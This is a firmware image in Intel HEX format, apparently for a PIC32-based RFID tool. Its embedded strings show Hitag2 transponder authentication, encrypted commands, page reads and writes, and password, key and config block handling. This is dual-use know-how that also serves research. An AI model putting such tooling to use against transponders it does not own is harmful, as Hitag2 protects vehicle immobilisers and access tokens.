:10b6fc00488280a74a8280a34b8280a33800c48fe3
:10b70c00a34a410f000000000800422c0400401026
:10b71c0000000000211000003a2e410b0000000038
:10b72c003800c48f63b7400f000000002300c2a391
:10b73c003800c28f020042242120400063b7400f22
:10b74c00000000002400c2a33800c28f0400422471
:10b75c002120400063b7400f000000002500c2a369
:10b76c003800c28f060042242120400063b7400fee
:10b77c00000000002600c2a33800c48fa34a410f6a
:10b78c0000000000211840000a0002240900621485
:10b79c00000000003800c28f080042242120400025
:10b7ac0063b7400f000000002100c2a32b2e410bf9
:10b7bc00000000003800c28f080042242120400005
:10b7cc0063b7400f000000002000c2a32200c0a3fa
:10b7dc000a2e410b000000002200d0932200c293dd
:10b7ec0005004224401002003800c38f2110620073
:10b7fc002120400063b7400f0000000021184000da
:10b80c0000a0023c5c45422421100202000043a02f
:10b81c002200c293010042242200c2a32200c3933f
:10b82c002000c2932b106200ebff401400000000bc
:10b83c003800c48fa34a410f0000000042180200d8
:10b84c002200c293060042242b1043000400401037
:10b85c0000000000211000003a2e410b00000000f7
:10b86c003800c48fa34a410f0000000042180200a8
:10b87c002200c2930600422409006214000000005a
:10b88c002200c293050042243800c38f21106200ad
:10b89c002120400063b7400f000000002100c2a32c
:10b8ac002300c4932400c5932500c3932600c293a0
:10b8bc002000c7932100c6931000a7af00a0073c3f
:10b8cc005c45e7241400a7af1800a6af2130600038
:10b8dc0021384000402d410f0000000021e8c0033a
:10b8ec003400bf8f3000be8f2c00b08f3800bd27c6
:10b8fc000800e00300000000e0ffbd271c00bfaf04
:10b90c001800beaf21f0a0031000c0a7552e410bac
:10b91c00000000001000c39700a0023cf069422414
:10b92c002110620000004290059d033cb45e64242b
:10b93c00212840008513410f000000001000c29721
:10b94c00010042241000c2a7488282971000c397be
:10b95c002b106200efff4014000000004a8282931b
:10b96c00059d033cb45e6424212840008513410fdf
:10b97c00000000004b828293059d033cbc5e642456
:10b98c00212840008513410f00000000059d023c5a
:10b99c00c45e4424059d023cc85e45242013410f1f
:10b9ac000000000021e8c0031c00bf8f1800be8ff0
:10b9bc002000bd270800e00300000000f0ffbd27b9
:10b9cc000c00beaf21f0a003211080001000c2a318
:10b9dc001000c2930800432c4100601000000000ce
:10b9ec0080180200059d023c08ba42242110620016
:10b9fc000000428c0800400000000000ecba049dde
:10ba0c0028ba049d44ba049d60ba049d7cba049d76
:10ba1c0098ba049db4ba049dd0ba049d88bf023c68
:10ba2c002061428cc000427cff0042300000c2af5b
:10ba3c00be2e410b0000000088bf023c2061428cee
:10ba4c008000427cff0042300000c2afbe2e410b92
:10ba5c000000000088bf023c2061428c4000427c08
:10ba6c00ff0042300000c2afbe2e410b00000000b0
:10ba7c0088bf023c2061428c0000427cff004230b7
:10ba8c000000c2afbe2e410b0000000088bf023c7c
:10ba9c00a061428c8001427cff0042300000c2afaa
:10baac00be2e410b0000000088bf023c2060428c7f
:10babc00c003427cff0042300000c2afbe2e410bdf
:10bacc000000000088bf023ce060428cc002427c57
:10badc00ff0042300000c2afbe2e410b0000000040
:10baec0021100000bf2e410b000000000000c28f8f
:10bafc0021e8c0030c00be8f1000bd270800e00336
:10bb0c0000000000f8ffbd270400beaf21f0a00329
:10bb1c00211080000c00c5af0800c2a30800c2931e
:10bb2c000800432c900060100000000080180200f8
:10bb3c00059d023c54bb4224211062000000428c43
:10bb4c00080040000000000074bb049d5cbc049d18
:10bb5c0084bc049dacbc049dd4bc049dfcbc049d65
:10bb6c0024bd049d4cbd049d0c00c28fff004230cf
:10bb7c0001004230ff00443088bf033c20616294d6
:10bb8c00c418827c206162a40c00c28fff0042307a
:10bb9c0001004230ff00443088bf033c20616294b6
:10bbac008410827c206162a40c00c28fff004230a2
:10bbbc0001004230ff00443088bf033c2061629496
:10bbcc004408827c206162a40c00c28fff004230ca
:10bbdc0001004230ff00443088bf033c2061629476
:10bbec000400827c206162a40c00c28fff004230f2
:10bbfc0001004230ff00443088bf033ca0616294d6
:10bc0c008431827ca06162a40c00c28fff004230a0
:10bc1c0001004230ff00443088bf033c2060629436
:10bc2c00c47b827c206062a40c00c28fff00423077
:10bc3c0001004230ff00443088bf033ce060629456
:10bc4c00c45a827ce06062a4602f410b00000000ab
:10bc5c000c00c28fff00423001004230ff00443024
:10bc6c0088bf033c20616294c418827c206162a46a
:10bc7c00602f410b000000000c00c28fff0042300f
:10bc8c0001004230ff00443088bf033c20616294c5
:10bc9c008410827c206162a4602f410b00000000a4
:10bcac000c00c28fff00423001004230ff004430d4
:10bcbc0088bf033c206162944408827c206162a4aa
:10bccc00602f410b000000000c00c28fff004230bf
:10bcdc0001004230ff00443088bf033c2061629475
:10bcec000400827c206162a4602f410b00000000e4
:10bcfc000c00c28fff00423001004230ff00443084
:10bd0c0088bf033ca06162948431827ca06162a4f0
:10bd1c00602f410b000000000c00c28fff0042306e
:10bd2c0001004230ff00443088bf033c2060629425
:10bd3c00c47b827c206062a4602f410b0000000059
:10bd4c000c00c28fff00423001004230ff00443033
:10bd5c0088bf033ce0606294c45a827ce06062a4b9
:10bd6c00602f410b0000000021100000612f410bdf
:10bd7c00000000000100022421e8c0030400be8f73
:10bd8c000800bd270800e00300000000e0ffbd270d
:10bd9c001c00bfaf1800beaf21f0a0032110800023
:10bdac002000c2a32000c29321204000722e410f1c
:10bdbc00000000001000c2af2000c3931000c28f1f
:10bdcc000100422cff00423021206000212840005d
:10bddc00c42e410f0000000021e8c0031c00bf8fdf
:10bdec001800be8f2000bd270800e00300000000f3
:10bdfc00e8ffbd271400bfaf1000beaf21f0a003b9
:10be0c00211080001800c2a31800c293212040000a
:10be1c0021280000c42e410f0000000021e8c003bf
:10be2c001400bf8f1000be8f1800bd270800e00360
:10be3c0000000000e8ffbd271400bfaf1000beaf2c
:10be4c0021f0a003211080001800c2a31800c29397
:10be5c002120400001000524c42e410f00000000e9
:10be6c0021e8c0031400bf8f1000be8f1800bd273f
:08be7c000800e00300000000d3
:020000040000fa
:020000041d04d9
:10be84004050050042550a00c04a0500427d0400a6
:10be940025482f01c042040000800e3c25482e0195
:10bea40040680700426d0d00c0620700427d060035
:10beb40025608f01c05a060025608e012628a70040
:10bec4002428ae00ffff4f25fe07e12dcb002010f4
:10bed40000000000ffffaf25fe07e12df400201055
:10bee4000000000023504d01ff034a254240080092
:10bef400c07f090025400f0142480900023c0c00a4
:10bf0400f401e0001b00270112700000104800003b
:10bf1400ffff86311900ce0012200000004c0900fa
:10bf2400027c080025482f012b7824010600e0112b
:10bf340023482401ffffce2521482c012b082c0186
:10bf4400fcff201000000000f401e0001b002701aa
:10bf540012380000104800001900c7001220000029
:10bf6400004c0900ffff0f3125482f012b782401d5
:10bf74000600e01123482401ffffe72421482c0197
:10bf84002b082c01fcff20100000000000740e00a0
:10bf94002170c7011900cb011238000010200000e5
:10bfa400000008242b780701234007012b102f01e0
:10bfb40023482f012b7824012578e2010b00e0119e
:10bfc40023482401ffffce2521400b012b780b01d0
:10bfd40021482c0121482f0102002c1100000000ef
:10bfe4002b782c01f7ffe0110000000006002c154f
:10bff4000000000025200b002548080000000d2447
:10c004002a00001025380d00023c0c00f401e00069
:10c014001b0027011268000010480000ffff863152
:10c024001900cd0012200000004c0900027c080019
:10c0340025482f012b7824010600e0112348240110
:10c04400ffffad2521482c012b082c01fcff2010fb
:10c0540000000000f401e0001b002701123800007a
:10c06400104800001900c70012200000004c09000d
:10c07400ffff0f3125482f012b7824010600e01122
:10c0840023482401ffffe72421482c012b082c011d
:10c09400fcff201000000000006c0d002168a701c7
:10c0a4001900ab0112380000102000000000082421
:10c0b4002b780701234007012b102f0123482f0160
:10c0c4002b7824012578e2010b00e0112348240198
:10c0d400ffffad2521400b012b780b0121482c01da
:10c0e40021482f0102002c11000000002b782c01a4
:10c0f400f7ffe011000000000600c005000000008a
:10c104002a78a0012168ad012170ce012170cf01f0
:10c11400ffff4a25257828010200e01100000000f5
:10c124000100ad3525480e0025400d00ffff4f25c9
:10c13400fe07e12d15002010000000000004082572
:10c1440000040f2d21482f012b782f0121504f017e
:10c15400c27a08000100ef3123400f01c222080017
:10c16400407d090025208f0040780900027b0f00e4
:10c174002528af00007d0a002528af002510040003
:10c18400251805000800e003000000004400401ddd
:10c194000000000001000e242370ca012000c12dfc
:10c1a4000700201400000000e0ffce212b2008002f
:10c1b4000d00091025402401f8ff00100000093487
:10c1c4000900c0110000000022300e000420c80045
:10c1d4000430c9000640c8010648c90102008010a5
:10c1e4002540c800020008350004082500040f2d6e
:10c1f40021482f01d6ff0010c25709002a780001f8
:10c2040021400801214829011700401521482f0128
:10c21400257828011400e011000000000800201512
:10c2240000000000030000150000000029ff0010ba
:10c2340000000a242548000100000824e0ff4a25e4
:10c2440020702e7123ffc0110000000023504e0106
:10c2540022300e000630c8000440c8010448c90159
:10c264001cff00102548260105004d1500000000a4
:10c2740040780c002578eb012b00e0110000000051
:10c28400ff0701240a00a11100000000bbff4011b8
:10c2940000000000257828012300e01500000000bc
:10c2a400f07f013c2528a100b4ff00100000042405
:10c2b4002a78600121586b0121608c011700a015b8
:10c2c40021608f0125788b01f5ffe011000000004b
:10c2d4000800801500000000030060150000000045
:10c2e40000ff001000000d242560600100000b24f5
:10c2f400e0ffad2520708e71fafec0110000000031
:10c304002368ae0122300e000630cb000458cb0166
:10c314000460cc01f3fe00102560860125788b01b2
:10c324000200e01100000000f8ff053c93ff00103c
:08c334000000042400000000d9
:020000040000fa
:020000041d04d9
:10c33c005075626c6963204d6f646520420000008b
:10c34c005075626c6963204d6f646520410000007c
:10c35c005075626c6963204d6f646520430000006a
:10c36c0048697461673200003030313130000000b0
:10c37c0030313131000000000d0a25732c2048416a
:10c38c004c5400000d0a25732c203f494e56414c4d
:10c39c0049443f000d0a25732c205345545f4343f9
:10c3ac000000000031313030000000000d0a257310
:10c3bc002c20524541445f504c41494e54455854f1
:10c3cc005f504147453a00003130303000000000ea
:10c3dc000d0a25732c2057524954455f504c414946
:10c3ec004e544558545f504147453a00252e327300
:10c3fc003a000000257300000d0a25732c204441df
:10c40c0054413a00252e38733a0000003030303059
:10c41c00300000000d0a25732c2053454c45435425
:10c42c003a0000000d0a25732c3f494e56414c49e9
:10c43c00443f00000d0a0000313130303000000064
:10c44c00344434393442353200000000344634452b
:10c45c003444343934423532000000000d476170e9
:10c46c0020256400205a65726f20256400000000ae
:10c47c00204f6e6520256400204643202564000073
:10c48c00202d20676f7420256400000020756964de
:10c49c00732c2025640000002061757468732025be
:10c4ac00640000002072656164732c206f75742029
:10c4bc006f6620256420617474656d7074732e0d25
:10c4cc000a000000253258002530325800000000c8
:10c4dc000101000001000100303041413438353495
:10c4ec000000000030324141343835340000000087
:10c4fc003036414134383534000000000d0a2573c4
:10c50c002c2053544152545f4155544800000000b4
:10c51c000d0a25732c20434d445f454e4352595010
:10c52c005445440030300000313100000d0a2573b1
:10c53c002c20524541445f504147453a00000000d1
:10c54c00303100000d0a25732c20524541445f50b8
:10c55c004147455f494e5645525445443a00000008
:10c56c00313000000d0a25732c2057524954455f79
:10c57c00504147453a000000256400000d0a257320
:10c58c002c205057443a00000d0a25732c20505291
:10c59c004e3a000025733a205345435245543a0015
:10c5ac004e6f2052656164202f204e6f20577269a8
:10c5bc007465000052656164202f205772697465a0
:10c5cc00000000005061676520313a204e6f205208
:10c5dc00656164202f204e6f2057726974652c2082
:10c5ec005061676520323a2052656164204f6e6c51
:10c5fc007900000052656164204f6e6c7900000078
:10c60c0043727970746f000050617373776f72644a
:10c61c000000000042695068617365004d616e63f3
:10c62c0068657374657200002020202020505744e8
:10c63c0020426c6f636b202831293a20252e3873e9
:10c64c0020202020000000000d0a0d0a20202020b0
:10c65c00204b657920426c6f636b202832293a207d
:10c66c00252e387320202020000000000d0a0d0a12
:10c67c002020436f6e66696720426c6f636b2028c5
:10c68c0033293a20252e38730d0a0d0a00000000bc
:10c69c00202020202020202050616765203120267a
:10c6ac0020323a202564203d2000000025730d0a1d
:10c6bc0000000000202020202020202020202020ee
:10c6cc005061676520333a202564203d200000002e
:10c6dc002020202020202020506167652034202637
:10c6ec0020353a202564203d200000002020202009
:10c6fc0020202020506167652036202620373a20e4
:10c70c002564203d20000000202020202020202017
:10c71c00202053656375726974793a202564203d35
:10c72c00200000002020202020202020202020205d
:10c73c0020204d6f64653a202564203d20000000c8
:10c74c0020202020202020204d6f64756c6174699e
:10c75c006f6e3a202564203d200000000d0a202039
:10c76c0020202050574420426c6f636b20283329c3
:10c77c003a20252e36732020202020200000000097
:10c78c004e6f204869546167322050574d207374a6
:10c79c006f7265640d0a0000436f756e74206f76be
:0cc7ac006572666c6f770d0a00000000db
:020000040000fa
:020000041d04d9
:10c7b8002140c000214880003b00e0142118a0005f
:10c7c8002b10a600480040102010c27008004050ee
:10c7d80002340800231802000428450006186400e3
:10c7e8000440460025186500044844000234080047
:10c7f8001b006600f401c000102000001258000061
:10c80800ffff0c310254090002586c710024040027
:10c8180025508a002b684b011b006600f401c000fc
:10c828000900a05123504b01215048012b18480101
:10c838000500605423504b012b204b01211848015f
:10c848000b50640023504b01ffff23311b004601ae
:10c85800f401c000104800001220000002208c7073
:10c86800004c0900254823012b1824011b00460110
:10c87800f401c00009006050234824012148280120
:10c888002b18280105006054234824012b18240183
:10c89800214028010b4803012348240106104900c0
:10c8a8000800e003211800002b10a70047004014df
:10c8b8002050ea704800401520000b242b10e5009a
:10c8c80005004014231086002b40860089000015bf
:10c8d80021108000231086002328a7002b20820027
:10c8e8000800e0032318a4000600c01420100271f9
:10c8f800010002241b004600f401c00012400000a1
:10c90800201002717d004054044048002328a800ec
:10c91800021c0800ffff0731022409001b00a300c6
:10c92800f401600010500000123000000230c7709f
:10c9380000540a00252044012b5086001b00a30048
:10c94800f40160000900405123208600212088005e
:10c958002b2888000500a054232086002b50860031
:10c96800212888000b20aa0023208600ffff2631fb
:10c978001b008300f401600010480000122800002a
:10c988000228a770004c0900254826012b302501f4
:10c998001b008300f40160000900c05023482501f2
:10c9a800214828012b182801050060542348250137
:10c9b8002b182501214028010b4803012348250194
:10c9c800061049000800e00321180000211080002b
:10c9d8000800e0032118a00023586a010438470121
:10c9e800061066012538470006686501024c0700f5
:10c9f8001b00a901f40120011060000012180000ba
:10ca0800ffffee300428450106106401251045009b
:10ca1800022c0200043046011240000002786e70b9
:10ca280000640c00256085012b288f011b00a901db
:10ca3800f40120010a00a0100420440121608701ac
:10ca48002b2887010600a014ffff68242b288f01dc
:10ca58000400a05023608f01feff68242160870135
:10ca680023608f01ffff42301b008901f401200180
:10ca780010280000121800001268000002706e7082
:10ca8800002c05002510a2002b284e001b00890150
:10ca9800f40120010600a0500044080021104700be
:10caa8002b2847004c00a010ffff6d24004408000d
:10cab8002540a80123104e00190006011048000067
:10cac8002b1849003e006014124000004b0049102a
:10cad8002318490012300000233086002b208600de
:10cae800231864000410630106304601251046002f
:10caf800061843010800e003000000002000092494
:10cb08002348220106502501021c08001b0043018e
:10cb1800f40160001030000012580000ffff0731d8
:10cb2800042845000648240125282501026405003b
:10cb38000448440002586771003406002530860115
:10cb48002b20cb001b004301f4016000060080503d
:10cb58002330cb002130c8002b20c80024008010cf
:10cb68002b50cb002330cb00ffffaa301b00c300a3
:10cb7800f401600010200000122800000228a770ad
:10cb88000024040025208a002b5085001b00c300c8
:10cb9800f401600060ff40512328850021208800af
:10cba8002b3088005cffc054232885002b5085005b
:10cbb800213088000b20ca004832410b2328850009
:10cbc80023300601231827012b400601231868008b
:10cbd800b832410b231843002b284e00b4ffa05055
:10cbe80000440800feff6d24ad32410b21104700c0
:10cbf8002120c800db32410b0b308a002b1888003b
:10cc0800f0ff60542330060112300000b832410ba7
:10cc1800211800002140c000211080003f00e014ce
:10cc28002148a0002b18a600470060102018c370e8
:10cc380008006050021c080023480300042865000f
:10cc480006482401044066002548250104106400b4
:10cc5800021c08001b002301f401600010600000a2
:10cc680012580000ffff0a310224020012300000af
:10cc780002386a7100640c00252084012b6087004b
:10cc88001b002301f40160000b008011232887009a
:10cc9800212088002b2888000600a014ffff6625a5
:10cca8002b2887000400a01023288700feff662594
:10ccb8002120880023288700ffff42301b00a300a3
:10ccc800f401600010480000123800001220000033
:10ccd8000250ea70004c0900251022012b484a0036
:10cce8001b00a300f4016000090020510014060095
:10ccf800211048002b40480004000015ffffe424e1
:10cd08002b504a00feffe7240b20ea00001406001f
:10cd1800251082000800e003211800002b10a7004e
:10cd2800440040142040e8704500005520000224cb
:10cd38002b28e500c800a0142b3086000100c2385b
:10cd48000800e003211800000600c0142018037131
:10cd5800010003241b006600f401c000124000001b
:10cd6800201803717b006054044068002320a80049
:10cd7800023c0800ffff0b310100032402340200cb
:10cd88001b008700f401e00010680000126000003a
:10cd98001248000002508b71006c0d002530a6016e
:10cda8002b68ca001b008700f401e0000900a011ed
:10cdb8002328ca002130c8002b20c8000400801492
:10cdc800ffff89252b20ca00a6008054feff892575
:10cdd8002328ca00ffff42301b00a700f401e0002f
:10cde8001050000012300000122000000258cb70d2
:10cdf80000540a00251042012b504b001b00a700cd
:10ce0800f401e00009004051001409002110480015
:10ce18002b40480004000015ffffc4242b584b008a
:10ce2800feffc6240b20cb00001409000800e00315
:10ce380025108200211800000800e00321100000de
:10ce480023104800043807010618460025386700f3
:10ce580006504500021c07001b004301f401600056
:10ce68001048000012680000ffffeb30042805019d
:10ce78000610440025284500027405001210000021
:10ce88000260ab71004c090025482e012b702c0163
:10ce98001b004301f40160000a00c01104300601c0
:10cea800214827012b50270106004015ffffa22526
:10ceb8002b502c010400405123482c01feffa225d1
:10cec8002148270123482c01ffffa5301b0023011f
:10ced800f4016000106800001260000012500000a9
:10cee80002588b71006c0d002528a5012b68ab003a
:10cef8001b002301f40160000b00a0510014020084
:10cf08002128a7002b18a70006006014ffff8a2518
:10cf18002b18ab000400605000140200feff8a25a5
:10cf28002128a70000140200251042012328ab0085
:10cf380019004600103800002b18a70044006014a0
:10cf4800123000003f00a710042004010800e0038d
:10cf58002118000020000224231043000648450041
:10cf6800023c08001b002701f401e000103000001b
:10cf780012600000ffff0b31042865000610440012
:10cf880025284500026c05000410640012180000f2
:10cf980002508b71003406002530a6012b20ca00f0
:10cfa8001b002701f401e0000b0080502330ca0069
:10cfb8002130c8002b20c80006008014ffff8325fd
:10cfc8002b20ca00040080502330ca00feff8325ae
:10cfd8002130c8002330ca00ffffac301b00c70057
:10cfe800f401e00010200000125000001248000078
:10cff80002284b710024040025208c002b6085003a
:10d008001b00c700f401e0000b008051001c030066
:10d01800212088002b3088000600c014ffff492516
:10d028002b3085000400c050001c0300feff49257a
:10d0380021208800001c0300232085006133410b58
:10d04800251823012b308600c0ffc0100000000007
:10d05800d533410bffff4224211800000800e003ec
:10d06800010002247633410b2130c800f0ffbd27b0
:10d078000c00beaf21f0a003211080001000c2a355
:10d088001000c2930200032418004310000000009f
:10d09800030043280600601000000000010003247c
:10d0a8000b004310000000005234410b0000000048
:10d0b80003000324140043100000000004000324ac
:10d0c80018004310000000005234410b000000001b
:10d0d80088bf023ca060428c4000427cff00423086
:10d0e8000000c2af5534410b0000000088bf023c6d
:10d0f800a060428c8000427cff0042300000c2af3a
:10d108005534410b0000000088bf023ca060428cef
:10d11800c000427cff0042300000c2af5534410bd2
:10d128000000000088bf023c2061428c4001427c24
:10d13800ff0042300000c2af5534410b0000000030
:10d14800211000005634410b000000000000c28f7f
:10d1580021e8c0030c00be8f1000bd270800e003c3
:10d1680000000000f8ffbd270400beaf21f0a003b7
:10d17800211080000c00c5af0800c2a30800c293ac
:10d188000500432c570060100000000080180200c2
:10d19800059d023cb0d14224211062000000428c5f
:10d1a8000800400000000000c4d1049d4cd2049d3a
:10d1b80074d2049d9cd2049dc4d2049d0c00c28fdd
:10d1c800ff00423001004230ff00443088bf033c7a
:10d1d800a06062944408827ca06062a40c00c28fa4
:10d1e800ff00423001004230ff00443088bf033c5a
:10d1f800a06062948410827ca06062a40c00c28f3c
:10d20800ff00423001004230ff00443088bf033c39
:10d21800a0606294c418827ca06062a40c00c28fd3
:10d22800ff00423001004230ff00443088bf033c19
:10d23800206162944429827c206162a4be34410b3f
:10d24800000000000c00c28fff0042300100423095
:10d25800ff00443088bf033ca06062944408827c8d
:10d26800a06062a4be34410b000000000c00c28f15
:10d27800ff00423001004230ff00443088bf033cc9
:10d28800a06062948410827ca06062a4be34410bca
:10d29800000000000c00c28fff0042300100423045
:10d2a800ff00443088bf033ca0606294c418827cad
:10d2b800a06062a4be34410b000000000c00c28fc5
:10d2c800ff00423001004230ff00443088bf033c79
:10d2d800206162944429827c206162a4be34410b9f
:10d2e8000000000021100000bf34410b00000000c6
:10d2f8000100022421e8c0030400be8f0800bd27f6
:10d308000800e00300000000e0ffbd271c00bfafdd
:10d318001800beaf21f0a003211080002000c2a396
:10d328002000c293212040001d34410f000000005e
:10d338001000c2af2000c3931000c28f0100422c1e
:10d34800ff00423021206000212840005b34410f5b
:10d358000000000021e8c0031c00bf8f1800be8f2a
:10d368002000bd270800e00300000000e8ffbd27fb
:10d378001400bfaf1000beaf21f0a0032110800041
:10d388001800c2a31800c293212040000100052400
:10d398005b34410f0000000021e8c0031400bf8f78
:10d3a8001000be8f1800bd270800e0030000000031
:10d3b800e8ffbd271400bfaf1000beaf21f0a003e7
:10d3c800211080001800c2a31800c2932120400039
:10d3d800212800005b34410f0000000021e8c00351
:10d3e8001400bf8f1000be8f1800bd270800e0038f
:10d3f80000000000e0ffbd271c00bfaf1800beaf53
:10d4080021f0a003010002241000c2a32135410b22
:10d41800000000001000c293059d033ccc5d64240d
:10d42800212840008513410f000000001000c2931e
:10d43800212040001d34410f00000000050040106d
:10d4480000000000059d023cdc5d42241935410bbb
:10d4580000000000059d023ce05d4224059d033c60
:10d46800e45d6424212840002013410f00000000df
:10d478001000c293010042241000c2a31000c293fe
:10d488000500422ce3ff40140000000021e8c0031f
:10d498001c00bf8f1800be8f2000bd270800e003c6
:04d4a8000000000080
:020000040000fa
:020000041d04d9
:10d4ac000080013c2638e10040580500425d0b002d
:10d4bc00c0520500427d040025504f01c04a0400b3
:10d4cc000080083c255048014070070042750e0052
:10d4dc00c06a0700427d06002568af01c0620600e5
:10d4ec002568a801ffff6f25fe07e12d8d00201098
:10d4fc0000000000ffffcf25fe07e12dbb00201030
:10d50c00000000000080013c2428a10023406e0193
:10d51c002c00001100000000150000190000000094
:10d52c002000012d0700201400000000e0ff08215e
:10d53c002b300c0023000d102560a601f8ff001005
:10d54c0000000d341f000011000000002220080014
:10d55c0004308c0004208d0006600c0106680d015f
:10d56c001800c01025608c001600001002008c35cd
:10d57c0025580e00234008002000012d0700201420
:10d58c0000000000e0ff08212b3009000d000a10fc
:10d59c0025484601f8ff001000000a34090000116c
:10d5ac0000000000222008000430890004208a00ba
:10d5bc000648090106500a010200c01025488900de
:10d5cc00020029352678a7001c00e00500000000a9
:10d5dc0021482c012b782c0121504d0121504f0159
:10d5ec0002004d11000000002b784d013700e011b6
:10d5fc000000000001002f310200e01100000000cb
:10d60c000200293542480900c07f0a0025482f0135
:10d61c0042500a000080013c2550410101006b255d
:10d62c00ff0701242900611500000000f07f013c78
:10d63c002528a10037000010000004242b782c01b1
:10d64c0023482c012b104f0123504f012b784d01f7
:10d65c002578e2010700e01123504d010080013cc8
:10d66c002628a1002b7809002348090023500a0022
:10d67c0023504f0108004015000000000300201546
:10d68c00000000000d00001000000b2425502001ac
:10d69c0000000924e0ff6b252040487107000011b1
:10d6ac000000000023586801222008000620890091
:10d6bc000448090104500a01255044012578490108
:10d6cc000200e0150000000000000524680060194d
:10d6dc00000000000004292500042f2d21504f01cb
:10d6ec002b784f0121586f01c27a09000100ef31ec
:10d6fc0023482f01c2220900407d0a0025208f00fb
:10d70c0040780a00027b0f002528af00007d0b003b
:10d71c002528af0025100400251805000800e0039b
:10d72c00000000002a7820012148290121504a01db
:10d73c002300601521504f01257849011400e01198
:10d74c000000000008004015000000000300201538
:10d75c000000000067ff001000000b242550200182
:10d76c0000000924e0ff6b252040487161ff001187
:10d77c0000000000235868012220080006208900c0
:10d78c000448090104500a015aff001025504401b5
:10d79c00ff0701241500c111000000002140e70023
:10d7ac00257806010300e01500000000d9ffe00415
:10d7bc000000000025100600d8ff001025180700f7
:10d7cc00257849012700e01500000000ff0701241f
:10d7dc00d0ffc115000000002678a7002100e0054d
:10d7ec0000000000f3ff0010000000002a78800108
:10d7fc0021608c012168ad011700c0152168af01b3
:10d80c002578ac01c3ffe011000000000800a01552
:10d81c0000000000030080150000000039ff00101c
:10d82c0000000e242568800100000c24e0ffce25aa
:10d83c002040a87133ff0011000000002370c801c4
:10d84c002220080006208c0004600c0104680d01e5
:10d85c002cff00102568a4012578ac01d5ffe01140
:10d86c0000000000f8ff053caaff00100000042493
:10d87c000100082423400b012000012d0700201477
:10d88c0000000000e0ff08212b3009000d000a10f9
:10d89c0025484601f8ff001000000a340900001169
:10d8ac0000000000222008000430890004208a00b7
:10d8bc000648090106500a010200c01025488900db
:10d8cc000200293583ff001000000b24000000002b
:020000040000fa
:020000041d04d9
:10d8dc00d8ffbd272400bfaf2000beaf21f0a003ae
:10d8ec002800c4af00a0023cdc56422487004290c2
:10d8fc00f7ff42240d00432cf100601000000000e3
:10d90c0080180200059d023c28d942242110620097
:10d91c000000428c0800400000000000f8d9049d73
:10d92c00f8d9049d74da049db8dc049db8dc049d20
:10d93c00c0db049d10db049dccdc049d5cd9049df4
:10d94c00ccdc049dccdc049d8cdb049d3cdc049d78
:10d95c0000a0023c5c4544242800c58ff029410fef
:10d96c000000000004004014000000002110000022
:10d97c003437410b0000000000a0023cdc5642246e
:10d98c00b000458c00a0023cdc5642249c00438c29
:10d99c0000a0023cdc564224a400428c00a0043cb3
:10d9ac00dc568424a800878c00a0043cdc5684241c
:10d9bc00ac00868c00a0043cdc568424d400848cff
:10d9cc001000a7af1400a6af1800a4af00a0043c31
:10d9dc005c458424213060002138400002f9400f5e
:10d9ec00000000003437410b0000000000a0023c96
:10d9fc005c4544242800c58fc5db400f00000000a7
:10da0c000400401400000000211000003437410bca
:10da1c000000000000a0023cdc564224b000458c03
:10da2c0000a0023cdc5642249c00438c00a0023c2b
:10da3c00dc564224a400428c00a0043cdc56842416
:10da4c00d400848c1000a4af00a0043c5c4584245a
:10da5c00213060002138400019ff400f0000000009
:10da6c003437410b0000000000a0023c5c4544240c
:10da7c002800c58f263d410f000000000400401413
:10da8c0000000000211000003437410b00000000a2
:10da9c0000a0023cdc564224b000458c00a0023ca5
:10daac00dc5642249c00438c00a0023cdc564224f1
:10dabc00a400428c00a0043cdc568424a800878c73
:10dacc0000a0043cdc568424ac00868c00a0043cf2
:10dadc00dc568424d400848c1000a7af1400a6afad
:10daec001800a4af00a0043c5c45842421306000e5
:10dafc002138400002f9400f000000003437410b80
:10db0c000000000000a0023c5c4544242800c58fa6
:10db1c004b1e410f000000000400401400000000e8
:10db2c00211000003437410b0000000000a0023c23
:10db3c00dc564224b000458c00a0023cdc5642244a
:10db4c009c00438c00a0023cdc564224a400428c76
:10db5c0000a0043cdc568424d400848c1000a4afb8
:10db6c0000a0043c5c458424213060002138400036
:10db7c0019ff400f000000003437410b000000007b
:10db8c0000a0023c5c4544242800c58f4020410f76
:10db9c0000000000040040140000000021100000f0
:10dbac003437410b00000000211000003437410bca
:10dbbc000000000000a0023c5c4544242800c58ff6
:10dbcc008543410f000000000400401400000000d9
:10dbdc00211000003437410b0000000000a0023c73
:10dbec00dc564224b000458c00a0023cdc5642249a
:10dbfc009c00438c00a0023cdc564224a400428cc6
:10dc0c0000a0043cdc568424d400848c1000a4af07
:10dc1c0000a0043c5c458424213060002138400085
:10dc2c0019ff400f000000003437410b00000000ca
:10dc3c0000a0023c5c4544242800c58f3c41410fa8
:10dc4c00000000000400401400000000211000003f
:10dc5c003437410b0000000000a0023cdc5642248b
:10dc6c00b000458c00a0023cdc5642249c00438c46
:10dc7c0000a0023cdc564224a400428c00a0043cd0
:10dc8c00dc568424d400848c1000a4af00a0043c87
:10dc9c005c458424213060002138400019ff400f7e
:10dcac00000000003437410b000000002800c48f36
:10dcbc007427410f000000003437410b00000000b6
:10dccc002110000021e8c0032400bf8f2000be8f6c
:10dcdc002800bd270800e00300000000f0ffbd276e
:10dcec000c00beaf21f0a0030000c0af0000c0af1d
:10dcfc000000c28f2014027c21e8c0030c00be8ff0
:10dd0c001000bd270800e00300000000f0ffbd2755
:10dd1c000c00beaf21f0a0030000000088bf023c45
:10dd2c004010428c40004230fcff401000000000cc
:10dd3c0080bf023c3064428c0000c2a388bf033c0d
:10dd4c004010628c8431027c401062ac0000c283b3
:10dd5c0021e8c0030c00be8f1000bd270800e003b3
:10dd6c0000000000f8ffbd270400beaf21f0a003a7
:10dd7c0080bf023cad000324406443ac80bf023c36
:10dd8c00006440ac80bf033c006462940100042436
:10dd9c00c418827c006462a480bf023c106440ac56
:10ddac0080bf033c0064629401000424c47b827c29
:10ddbc00006462a480bf033c1064628c01000424e4
:10ddcc008452827c106462ac88bf033c4010628c2d
:10dddc008431027c401062ac80bf033c1064628cc6
:10ddec00010004240463827c106462ac21e8c0034b
:10ddfc000400be8f0800bd270800e00300000000ef
:10de0c00f8ffbd270400beaf21f0a00388bf023c81
:10de1c004010428c400042300400401000000000d2
:10de2c00010002248f37410b00000000211000007c
:10de3c0021e8c0030400be8f0800bd270800e003e2
:10de4c0000000000e0ffbd271c00bfaf1800beaff4
:10de5c0021f0a0032000c4af9f37410b000000004d
:10de6c001000c28321204000ad37410f000000009c
:10de7c002000c28f010043242000c3af0000428069
:10de8c001000c2a31000c293f5ff40140000000064
:10de9c0021e8c0031c00bf8f1800be8f2000bd27d7
:10deac000800e00300000000f8ffbd270400beaf2f
:10debc0021f0a003211080000800c2a30800c38336
